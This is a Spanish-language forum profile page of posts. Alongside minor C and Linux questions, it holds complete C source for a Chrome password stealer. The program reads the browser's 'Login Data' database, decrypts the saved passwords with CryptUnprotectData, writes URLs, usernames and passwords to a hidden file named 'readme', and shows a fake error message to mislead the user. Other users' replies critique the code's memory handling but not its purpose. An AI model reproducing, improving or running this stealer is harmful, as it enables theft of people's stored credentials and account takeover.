Cita de: TrashAmbishion en 19 Abril 2016, 22:00 PM
Necesito saber si hay alguna forma de expulsar el modem de forma segura.
Salu2 y gracias de antemano !!
Botón derecho > Desmontar
O en el terminal umount (carpeta montada)
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: TrashAmbishion en 19 Abril 2016, 22:00 PM
Necesito saber si hay alguna forma de expulsar el modem de forma segura.
Salu2 y gracias de antemano !!
Cita de: crack81 en 2 Abril 2016, 03:06 AM
Hola primero que nada gracias por el aporte, se mira genial aun no lo prueboya que ando en linux pero pronto lo hare.
Bueno en fin vengo con una serie de dudas:
Porque te declaras y reservas dos punteros char y no los liberas?char *cDir = (char *)malloc(sizeof(char) * 200);
const char *cData = (char *)malloc(sizeof(char) * 140);
Ademas que necesidad hay de reservar memoria dinamicamente?
segun vi *CDir lo utilizas en la funcionvoid ChromeDirectory(char *Disk, char *cDir)
Pero viendo la implementacion:void ChromeDirectory(char *Disk, char *cDir)
{
DWORD I = 40;
GetUserName(CurUser, &I);
sprintf(cDir, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk, CurUser);
}
Para lo unico que lo utilizas es para pasarle la referencia a la funcion sprintf
Entonces por que no evitamos resevar dinamicamente y lo hacemos todo en la pila
ejemplo;char cDir[200];
y basta con pasarle la referenciaChromeDirectory("C:\\", &cDir);
Mismo caso para la variableconst char *cData = (char *)malloc(sizeof(char) * 140);
se puede reservar en la pila:const char cData[140];
Pero segun veo en tu codigo esa variable cData sirve para obtener el contenido de la funcion sqlite3_column_text()
que segun su documentacion: https://www.sqlite.org/c3ref/column_blob.html
retorna un const unsigned char *, lo cual me indica que al final todo eso que reservaste con malloc en la variable cData de nada sirve ya que terminara apuntado a otra direccion y sera imposible liberar la memoria que has reservado.
Conclusion para la variable cData segundo la documentacion no es necesario reservarle memoria ya que solo funcion como apuntador, basta con que la declararas asi:unsigned char *CData=NULL
Espero mis comentarios no sean tomados a mal.
Saludooss y buen trabajo
Cita de: AlbertoBSD en 2 Abril 2016, 00:41 AM900kb de ejecutable porque utiliza la librería estática de sqlite3, por eso pesa tanto. No utiliza librerías dinámicas para asegurar su funcionamiento en cualquier pc
900 Kb el ejecutable puff.
me imagino que se puede Optimizar via flags del compilador.
creo que cambia mucho de un entorno windows. Por ejemplo en Linux mi Bot para telegram pesa sobre 80KB y se me hace mucho.. ahora decir 900 pues noo
Cita de: fary en 30 Marzo 2016, 21:42 PM
Hola Mester,
Te has molestado en que el nombre de usuario sea el correcto a la hora de acceder a la ruta pero no en que el disco sea el correcto... si yo tengo instalado el SO en el disco D:\ por ejemplo no funcionaría...
Citar
Por otra parte el mensaje:printf("Error 0xc0000007b");
Se muestra siempre? Por que ese mensaje? por que ese numero de error?
Citar
900 Kb de ejecutable...
Citar
saludos y espero que mejores esas cosillas!
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "sqlite3.c"
#define AUTHOR "Mester"
char CurUser[40];
void ChromeDirectory(char *Disk, char *cDir)
{
DWORD I = 40;
GetUserName(CurUser, &I);
sprintf(cDir, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk, CurUser);
}
int main()
{
int Write = 1;
char *Query = "SELECT origin_url, username_value, password_value FROM logins";
char *cDir = (char *)malloc(sizeof(char) * 200);
const char *cData = (char *)malloc(sizeof(char) * 140);
const char *Bar = "-----------------------------------";
FILE *sf;
DATA_BLOB DataIn, DataOut;
sqlite3 *DB;
sqlite3_stmt *Stmt;
ChromeDirectory("C:\\", cDir);
if(sqlite3_open(cDir, &DB) != SQLITE_OK)
{
ChromeDirectory("D:\\", cDir);
if(sqlite3_open(cDir, &DB) != SQLITE_OK)
{
ChromeDirectory("E:\\", cDir);
if(sqlite3_open(cDir, &DB) != SQLITE_OK)
{
printf("Error 0x1%s\n", AUTHOR);
Sleep(1000);
return 1;
}
}
}
if(sqlite3_prepare_v2(DB, Query, -1, &Stmt, 0) != SQLITE_OK)
{
printf("Error 0x2%s\n", AUTHOR);
Sleep(1000);
return 1;
}
sf = fopen("readme", "a+");
if(sf == NULL)
Write = 0;
fprintf(sf, "%s\n%s\n\n", Bar, CurUser);
while(sqlite3_step(Stmt) == SQLITE_ROW)
{
cData = sqlite3_column_text(Stmt, 0);
if(Write)
fprintf(sf, "URL: %s\n", cData);
else
printf("URL: %s\n", cData);
cData = sqlite3_column_text(Stmt, 1);
if(Write)
fprintf(sf, "Username: %s\n", cData);
else
printf("Username: %s\n", cData);
DataIn.pbData = (BYTE *)sqlite3_column_blob(Stmt, 2);
DataIn.cbData = sqlite3_column_bytes(Stmt, 2);
CryptUnprotectData(&DataIn, 0, 0, 0, 0, 0, &DataOut);
DataOut.pbData[DataOut.cbData] = '\0';
if(Write)
fprintf(sf, "Password: %s\n\n\n", DataOut.pbData);
else
printf("Password: %s\n\n\n", DataOut.pbData);
}
if(Write)
{
fclose(sf);
SetFileAttributes("readme", FILE_ATTRIBUTE_HIDDEN);
}
printf("Error 0x%s", AUTHOR);
return 0;
}
Cita de: etcheverrypablol en 4 Marzo 2016, 04:29 AMPuedes declarar las variables de la función como void *, por ejemplo:
Hola gente.
Quiero crear una función que tenga parámetros que no restrinjan el tipo de dato que se la pase (ya sea int, char, etc.)
¿Cómo se hace y cómo se llama a este tipo de parámetros que no tiene un tipo en particular?
Por ejemplo:
void Sumar( tipoGenerico x, tipoGnerico y){
return x+y;
}
Me gustaría que la función Sumar, permita pasarle como parámetro un tipo char, un tipo float o un tipo int.
Busqué en internet pero no pude encontrar nada.
void mi_funcion(void *s, void *n)
{
...
}
int numero = 20;
char *cadena = malloc(sizeof(char) * 20);
mi_funcion((char *)cadena, (int *)numero);